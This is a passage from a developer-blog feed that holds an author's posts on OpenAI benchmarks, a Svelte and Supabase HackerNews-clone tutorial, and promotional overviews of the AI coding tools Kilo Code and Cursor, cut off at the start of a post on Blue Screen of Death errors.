&lt;li&gt;&lt;a href="https://openai.com/research/gpt-4" rel="noopener noreferrer"&gt;OpenAI GPT-4 Technical Report&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://paperswithcode.com/sota/multi-task-language-understanding-on-mmlu" rel="noopener noreferrer"&gt;MMLU Benchmark on PapersWithCode&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/google/BIG-bench" rel="noopener noreferrer"&gt;BIG-Bench on GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://openai.com/blog" rel="noopener noreferrer"&gt;OpenAI Blog&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  💡 TL;DR
&lt;/h2&gt;

&lt;p&gt;OpenAI's models aren't just parroting text — they're acing high-level tasks across math, logic, and language. GPT-4, in particular, is &lt;strong&gt;on par with expert humans&lt;/strong&gt;, and the benchmarks prove it. Still, there’s room to grow — especially in reliability, long-context, and reasoning.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;⚙️ In AI, what gets measured gets improved — and OpenAI is measuring everything.&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>ai</category>
      <category>vibecoding</category>
      <category>openai</category>
      <category>benchmarks</category>
    </item>
    <item>
      <title>🚀 Build a HackerNews Clone Using Svelte and Supabase</title>
      <dc:creator>hmza</dc:creator>
      <pubDate>Mon, 21 Jul 2025 08:41:53 +0000</pubDate>
      <link>https://forem.com/0root/build-a-hackernews-clone-using-svelte-and-supabase-2cm9</link>
      <guid>https://forem.com/0root/build-a-hackernews-clone-using-svelte-and-supabase-2cm9</guid>
      <description>&lt;h2&gt;
  
  
  🚀 Build a HackerNews Clone Using Svelte and Supabase
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"A blazing-fast HackerNews clone with zero backend boilerplate? Yes, please!"&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In this tutorial, we’ll build a lightweight, fast, and modern HackerNews clone using &lt;strong&gt;Svelte&lt;/strong&gt; (the frontend wizard 🧙) and &lt;strong&gt;Supabase&lt;/strong&gt; (the open-source Firebase alternative 💾).&lt;/p&gt;




&lt;h2&gt;
  
  
  📦 Why Svelte + Supabase?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Svelte&lt;/strong&gt; compiles to tiny, performant JS&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Supabase&lt;/strong&gt; gives us:

&lt;ul&gt;
&lt;li&gt;PostgreSQL with RESTful &amp;amp; realtime APIs&lt;/li&gt;
&lt;li&gt;Auth, storage, edge functions&lt;/li&gt;
&lt;li&gt;No server-side code required&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;Together, they let you build &lt;strong&gt;fullstack apps without fullstack headaches&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  🧰 What We’ll Build
&lt;/h2&gt;

&lt;p&gt;A HackerNews-style app with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ Sign Up / Login (via Supabase Auth)&lt;/li&gt;
&lt;li&gt;🔗 Submit links (title + URL)&lt;/li&gt;
&lt;li&gt;🗳️ Upvote posts&lt;/li&gt;
&lt;li&gt;💬 Comment threads (basic)&lt;/li&gt;
&lt;li&gt;⚡ Real-time updates&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  🛠️ Project Setup
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Install the SvelteKit App
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
npm create svelte@latest hackernews-clone  
cd hackernews-clone  
npm install  

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  2. Install Supabase Client
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
npm install @supabase/supabase-js  

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  3. Set up Supabase Project
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Go to &lt;a href="https://app.supabase.com" rel="noopener noreferrer"&gt;https://app.supabase.com&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Create a new project&lt;/li&gt;
&lt;li&gt;Grab your &lt;code&gt;ANON KEY&lt;/code&gt; and &lt;code&gt;PROJECT URL&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Add these to your &lt;code&gt;.env&lt;/code&gt;:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
VITE_SUPABASE_URL=https://xyzcompany.supabase.co  
VITE_SUPABASE_ANON_KEY=your-anon-key-here  

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  4. Initialize Supabase Client
&lt;/h3&gt;

&lt;p&gt;Create &lt;code&gt;src/lib/supabaseClient.ts&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
import { createClient } from '@supabase/supabase-js';

const supabaseUrl = import.meta.env.VITE_SUPABASE_URL;  
const supabaseAnonKey = import.meta.env.VITE_SUPABASE_ANON_KEY;

export const supabase = createClient(supabaseUrl, supabaseAnonKey);  

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  🧑‍💻 Auth: Sign Up / Login
&lt;/h2&gt;

&lt;p&gt;Create &lt;code&gt;src/routes/login/+page.svelte&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
&amp;amp;lt;script lang="ts"&amp;amp;gt;
  import { supabase } from '$lib/supabaseClient';
  let email = '';
  let password = '';

  const login = async () =&amp;amp;gt; {
    const { error } = await supabase.auth.signInWithPassword({ email, password });
    if (error) alert(error.message);
  };
&amp;amp;lt;/script&amp;amp;gt;

&amp;amp;lt;input bind:value={email} placeholder="Email" /&amp;amp;gt;  
&amp;amp;lt;input type="password" bind:value={password} placeholder="Password" /&amp;amp;gt;  
&amp;amp;lt;button on:click={login}&amp;amp;gt;Log In&amp;amp;lt;/button&amp;amp;gt;  

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  🔗 Submitting a Post
&lt;/h2&gt;

&lt;p&gt;Create a &lt;code&gt;posts&lt;/code&gt; table with fields:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;id&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;title&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;url&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;user_email&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;upvotes&lt;/code&gt; (default: 0)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Submit Page Example
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
let title = '';  
let url = '';

const submit = async () =&amp;amp;gt; {  
  const user = await supabase.auth.getUser();  
  await supabase.from('posts').insert([{ title, url, user_email: user.data.user.email }]);  
};

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  🧠 Display Posts
&lt;/h2&gt;

&lt;h3&gt;
  
  
  src/routes/+page.svelte
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
let posts = [];

onMount(async () =&amp;amp;gt; {
  const { data } = await supabase.from('posts').select('*').order('upvotes', { ascending: false });
  posts = data;
});

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  🔼 Upvote Posts
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
const upvote = async (postId, currentVotes) =&amp;amp;gt; {
  await supabase.from('posts')
    .update({ upvotes: currentVotes + 1 })
    .eq('id', postId);
};

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  ⚡ Real-time Updates
&lt;/h2&gt;

&lt;p&gt;Enable Realtime for &lt;code&gt;posts&lt;/code&gt; in Supabase UI.&lt;/p&gt;

&lt;p&gt;Then:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
supabase
  .channel('posts')
  .on('postgres_changes', { event: '*', schema: 'public', table: 'posts' }, payload =&amp;amp;gt; {
    // update local posts[]
  })
  .subscribe();

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  🔐 Auth Guard (optional)
&lt;/h2&gt;

&lt;p&gt;Add to &lt;code&gt;src/hooks.server.ts&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
export async function handle({ event, resolve }) {
  const { user } = await supabase.auth.getUser();
  event.locals.user = user;
  return resolve(event);
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  🧪 Features You Can Add
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;🧵 Comments table + nesting&lt;/li&gt;
&lt;li&gt;🧙 Admin flag moderation&lt;/li&gt;
&lt;li&gt;🕶️ Dark mode toggle&lt;/li&gt;
&lt;li&gt;🚀 PWA setup&lt;/li&gt;
&lt;li&gt;📱 Mobile-first UI&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  💡 Conclusion
&lt;/h2&gt;

&lt;p&gt;You just built a modern HackerNews clone with &lt;strong&gt;Svelte&lt;/strong&gt; and &lt;strong&gt;Supabase&lt;/strong&gt;!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Svelte keeps your frontend blazing fast ⚡
&lt;/li&gt;
&lt;li&gt;Supabase handles your backend like magic 🧙&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  🌐 Useful Links
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://kit.svelte.dev/" rel="noopener noreferrer"&gt;SvelteKit Docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://supabase.com/" rel="noopener noreferrer"&gt;Supabase&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://supabase.com/docs/guides/realtime" rel="noopener noreferrer"&gt;Realtime Docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com" rel="noopener noreferrer"&gt;HackerNews&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;🔥 If you want part 2 — “Add Comments and Dark Mode” — let me know!&lt;/p&gt;

</description>
      <category>vibecoding</category>
      <category>ai</category>
      <category>codeing</category>
      <category>svelte</category>
    </item>
    <item>
      <title>⚡ Kilo Code: The Curver Killer Taking Over AI Coding in VS Code!</title>
      <dc:creator>hmza</dc:creator>
      <pubDate>Mon, 21 Jul 2025 08:26:55 +0000</pubDate>
      <link>https://forem.com/0root/kilo-code-the-curver-killer-taking-over-ai-coding-in-vs-code-3pic</link>
      <guid>https://forem.com/0root/kilo-code-the-curver-killer-taking-over-ai-coding-in-vs-code-3pic</guid>
      <description>&lt;h2&gt;
  
  
  ⚡ Kilo Code: The Curver Killer Taking Over AI Coding in VS Code!
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fkilocode.ai%2Fassets%2Flogo.svg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fkilocode.ai%2Fassets%2Flogo.svg" alt="Kilo Code Logo" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Have fun, let Kilo handle the boring parts."&lt;/em&gt;&lt;br&gt;&lt;br&gt;
— Every smart developer in 2025&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  🚀 What is Kilo Code?
&lt;/h2&gt;

&lt;p&gt;Kilo Code is an &lt;strong&gt;open-source AI coding agent&lt;/strong&gt; for &lt;strong&gt;Visual Studio Code&lt;/strong&gt;. It supercharges your development workflow by combining the powers of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;🧠 &lt;strong&gt;Cline&lt;/strong&gt; (AI marketplace)&lt;/li&gt;
&lt;li&gt;🔧 &lt;strong&gt;Roo Code&lt;/strong&gt; (custom workflows)&lt;/li&gt;
&lt;li&gt;✨ ...and its own smart modes!&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Kilo isn't just another code assistant — it's your:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;🧑‍🎓 Architect&lt;/li&gt;
&lt;li&gt;💻 Coder&lt;/li&gt;
&lt;li&gt;🪲 Debugger&lt;/li&gt;
&lt;li&gt;🧠 Orchestrator&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🧩 Modes That Think For You
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mode&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Orchestrator&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Breaks down complex projects into subtasks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Architect&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Plans systems &lt;em&gt;before&lt;/em&gt; writing code&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Code&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Writes clean, production-ready implementations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Debug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Scans codebase to find &amp;amp; fix bugs&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;You just say what you want, and Kilo coordinates it like a tech symphony. 🎼&lt;/p&gt;

&lt;h2&gt;
  
  
  🔍 Key Features
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;🧠 Inline &amp;amp; chat-based autocomplete
&lt;/li&gt;
&lt;li&gt;🔌 Connects to tools like Git, Figma, Firecrawl, Perplexity
&lt;/li&gt;
&lt;li&gt;🧪 Automated test generation &amp;amp; debugging
&lt;/li&gt;
&lt;li&gt;📃 Writes &amp;amp; updates documentation for you
&lt;/li&gt;
&lt;li&gt;🧭 Visual task timeline (mini-map of agent activity)
&lt;/li&gt;
&lt;li&gt;🌍 Multilingual + model provider freedom via &lt;a href="https://openrouter.ai" rel="noopener noreferrer"&gt;OpenRouter&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  💥 Why Kilo is a Game-Changer
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;✅ No API keys required
&lt;/li&gt;
&lt;li&gt;💬 Autogenerated commit messages
&lt;/li&gt;
&lt;li&gt;🔁 Custom agent workflows
&lt;/li&gt;
&lt;li&gt;🔒 Local models &amp;amp; privacy-first
&lt;/li&gt;
&lt;li&gt;🔥 Super fast via Fireworks provider
&lt;/li&gt;
&lt;li&gt;💸 $20 free credits via OpenRouter
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🧪 Code Example
&lt;/h2&gt;

&lt;p&gt;Want to generate a function from a prompt?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
Prompt: "Generate a function that returns Fibonacci numbers up to n"

Python Output:

def fibonacci(n):
    sequence = []
    a, b = 0, 1
    while a &amp;lt;= n:
        sequence.append(a)
        a, b = b, a + b
    return sequence

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Boom. That’s it.&lt;/p&gt;

&lt;h2&gt;
  
  
  📦 Getting Started
&lt;/h2&gt;

&lt;p&gt;You can install Kilo Code directly from the VS Code Marketplace:&lt;/p&gt;

&lt;p&gt;👉 &lt;a href="https://marketplace.visualstudio.com/items?itemName=kilocode.kilo-code" rel="noopener noreferrer"&gt;Install Kilo Code&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  🌐 Resources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://kilocode.ai" rel="noopener noreferrer"&gt;Official Site&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/kilocode/kilo-code" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://docs.kilocode.ai" rel="noopener noreferrer"&gt;Docs&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://discord.gg/kilocode" rel="noopener noreferrer"&gt;Discord&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://reddit.com/r/kilocode" rel="noopener noreferrer"&gt;Reddit&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kilocode.substack.com" rel="noopener noreferrer"&gt;Substack Blog&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🧑‍💻 Built by Developers, for Developers
&lt;/h2&gt;

&lt;p&gt;Kilo is built by a remote-first team of OSS ninjas from Amsterdam, SF, and beyond.&lt;br&gt;&lt;br&gt;
And yes, it’s open source — no lock-in, no funny business.&lt;/p&gt;




&lt;blockquote&gt;
&lt;p&gt;💡 &lt;em&gt;“Use Kilo. Crush complexity. Kill the curve.”&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;© 2025 Kilo Code. All rights reserved.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>vibecoding</category>
      <category>githubcopilot</category>
      <category>deeplearning</category>
    </item>
    <item>
      <title>🧠 Cursor’s Journey: A Case Study in Developer-Focused AI Assistants</title>
      <dc:creator>hmza</dc:creator>
      <pubDate>Mon, 21 Jul 2025 08:21:01 +0000</pubDate>
      <link>https://forem.com/0root/cursors-journey-a-case-study-in-developer-focused-ai-assistants-5cid</link>
      <guid>https://forem.com/0root/cursors-journey-a-case-study-in-developer-focused-ai-assistants-5cid</guid>
      <description>&lt;h2&gt;
  
  
  🧠 Cursor’s Journey: A Case Study in Developer-Focused AI Assistants
&lt;/h2&gt;

&lt;p&gt;In an era where &lt;strong&gt;AI copilots&lt;/strong&gt; are becoming essential for developers, &lt;strong&gt;Cursor&lt;/strong&gt; has emerged as one of the most focused and developer-centric tools out there. It’s a reimagined code editor built from the ground up to integrate artificial intelligence seamlessly into the software development lifecycle.&lt;/p&gt;

&lt;p&gt;This article explores &lt;strong&gt;Cursor’s journey&lt;/strong&gt;, what makes it unique, its strengths and limitations, and the lessons we can learn from this modern AI-enhanced IDE.&lt;/p&gt;




&lt;h2&gt;
  
  
  🚀 What is Cursor?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Cursor&lt;/strong&gt; is a &lt;strong&gt;code editor&lt;/strong&gt; built on top of &lt;strong&gt;Visual Studio Code&lt;/strong&gt;, enhanced with &lt;strong&gt;AI pair programming features&lt;/strong&gt;. It integrates large language models (like GPT-4 or Claude) to assist with tasks such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Explaining code&lt;/li&gt;
&lt;li&gt;Writing functions or tests&lt;/li&gt;
&lt;li&gt;Debugging errors&lt;/li&gt;
&lt;li&gt;Refactoring code&lt;/li&gt;
&lt;li&gt;Auto-generating documentation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Unlike extensions like GitHub Copilot, Cursor’s &lt;strong&gt;entire IDE interface&lt;/strong&gt; is optimized around interaction with AI. The result? A smoother, more immersive AI coding experience.&lt;/p&gt;




&lt;h2&gt;
  
  
  🎯 The Vision Behind Cursor
&lt;/h2&gt;

&lt;p&gt;The creators of Cursor recognized three big problems developers were facing:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Context Limitation&lt;/strong&gt;: Tools like Copilot or ChatGPT don't understand the full structure of your codebase.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Workflow Disruption&lt;/strong&gt;: Copy-pasting between an editor and a chatbot breaks the flow.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AI Isolation&lt;/strong&gt;: AI wasn’t embedded deeply into the IDE’s UX — it felt bolted on.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;So they asked: &lt;em&gt;“What if AI wasn’t an assistant, but a coding companion built into your entire workflow?”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Cursor was born.&lt;/p&gt;




&lt;h2&gt;
  
  
  🧪 Cursor’s Key Features
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. &lt;strong&gt;Ask AI Anything&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Highlight a chunk of code and ask natural questions like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
"Can you refactor this to use async/await?"

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
"Explain why this function is slow."

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2. &lt;strong&gt;Context-Aware Autocomplete&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Because Cursor has access to your full workspace and project structure, the code it generates is &lt;em&gt;way more accurate&lt;/em&gt; than a basic LLM prompt.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. &lt;strong&gt;Diff View for Changes&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Cursor shows &lt;strong&gt;side-by-side diffs&lt;/strong&gt; of proposed changes before you apply them — perfect for reviewing AI-generated modifications with confidence.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. &lt;strong&gt;Inline Chat&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Press &lt;code&gt;Cmd+K&lt;/code&gt; (or &lt;code&gt;Ctrl+K&lt;/code&gt;) to open a chat directly in the editor tied to your code. It stays contextual and focused.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. &lt;strong&gt;Test Generation&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Select a function and ask Cursor to generate tests using frameworks like Jest, PyTest, or JUnit.&lt;/p&gt;




&lt;h2&gt;
  
  
  🧠 Case Study: From Zero to Backend API in 30 Minutes
&lt;/h2&gt;

&lt;p&gt;Let's say you're building a RESTful API using &lt;strong&gt;FastAPI&lt;/strong&gt; in Python.&lt;/p&gt;

&lt;h3&gt;
  
  
  👨‍💻 Developer Goals:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Create a simple CRUD API for a product inventory.&lt;/li&gt;
&lt;li&gt;Add tests.&lt;/li&gt;
&lt;li&gt;Generate OpenAPI documentation.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  👇 Here’s what Cursor helped do in under 30 minutes:
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Scaffold the entire app&lt;/strong&gt; using natural prompts.&lt;br&gt;
&lt;code&gt;“Create a FastAPI app with a /products endpoint for CRUD operations”&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Auto-generate models, routes, and data logic.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Explain bugs during testing&lt;/strong&gt; (Cursor found a subtle async error).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Generate tests using PyTest&lt;/strong&gt;, along with sample data.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Exported OpenAPI docs&lt;/strong&gt; and suggested improvements in response format.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The whole experience was surprisingly frictionless.&lt;/p&gt;




&lt;h2&gt;
  
  
  🧱 Under the Hood
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Built with Electron, powered by VSCode.&lt;/li&gt;
&lt;li&gt;Integrates with OpenAI and Anthropic APIs.&lt;/li&gt;
&lt;li&gt;Uses local project indexing for smarter prompts.&lt;/li&gt;
&lt;li&gt;Supports codebase search with embeddings.&lt;/li&gt;
&lt;li&gt;Offline mode coming soon (as per roadmap).&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  💡 Lessons from Cursor's Journey
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Lesson&lt;/th&gt;
&lt;th&gt;What Cursor Did Right&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;🔁 Integrate AI into flow&lt;/td&gt;
&lt;td&gt;Cursor reimagined UX for AI-first programming&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🧠 Use project-wide context&lt;/td&gt;
&lt;td&gt;Deep access to repo gives smarter answers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🔍 Focus on transparency&lt;/td&gt;
&lt;td&gt;Shows AI diffs, so devs stay in control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🛠 Build for real tasks&lt;/td&gt;
&lt;td&gt;Refactoring, bug fixing, test generation — all in-app&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🌐 Community-driven&lt;/td&gt;
&lt;td&gt;Open to feedback, iterative development&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  🚧 Limitations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Heavily depends on API limits&lt;/strong&gt; (OpenAI/Anthropic keys required).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Currently desktop-only&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;May hallucinate code like all LLM tools&lt;/strong&gt; (though less often due to context awareness).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Still evolving plugin support&lt;/strong&gt; compared to VSCode.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  🎯 Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Cursor represents a shift from "AI-enhanced editing" to &lt;strong&gt;AI-native development&lt;/strong&gt;. It’s not just a fancy autocomplete tool — it's &lt;strong&gt;a new kind of IDE&lt;/strong&gt;, where &lt;strong&gt;AI is woven into the development fabric&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Whether you’re building side projects or scaling enterprise codebases, tools like Cursor are hinting at the &lt;strong&gt;future of coding&lt;/strong&gt; — where humans direct and AI assists with precision.&lt;/p&gt;




&lt;blockquote&gt;
&lt;p&gt;✨ Check it out: &lt;a href="https://www.cursor.sh" rel="noopener noreferrer"&gt;https://www.cursor.sh&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;📸 Cursor Preview:&lt;br&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fcursor-code%2Fmedia-assets%2Fmain%2Feditor-preview.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fcursor-code%2Fmedia-assets%2Fmain%2Feditor-preview.png" alt="Cursor Editor Screenshot" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>ai</category>
      <category>developer</category>
      <category>vibecoding</category>
      <category>aiops</category>
    </item>
    <item>
      <title>Understanding the Blue Screen of Death (BSOD): Causes, Prevention, and Recovery</title>
      <dc:creator>hmza</dc:creator>
      <pubDate>Thu, 17 Jul 2025 07:17:57 +0000</pubDate>
      <link>https://forem.com/0root/understanding-the-blue-screen-of-death-bsod-causes-prevention-and-recovery-5ek8</link>
      <guid>https://forem.com/0root/understanding-the-blue-screen-of-death-bsod-causes-prevention-and-recovery-5ek8</guid>
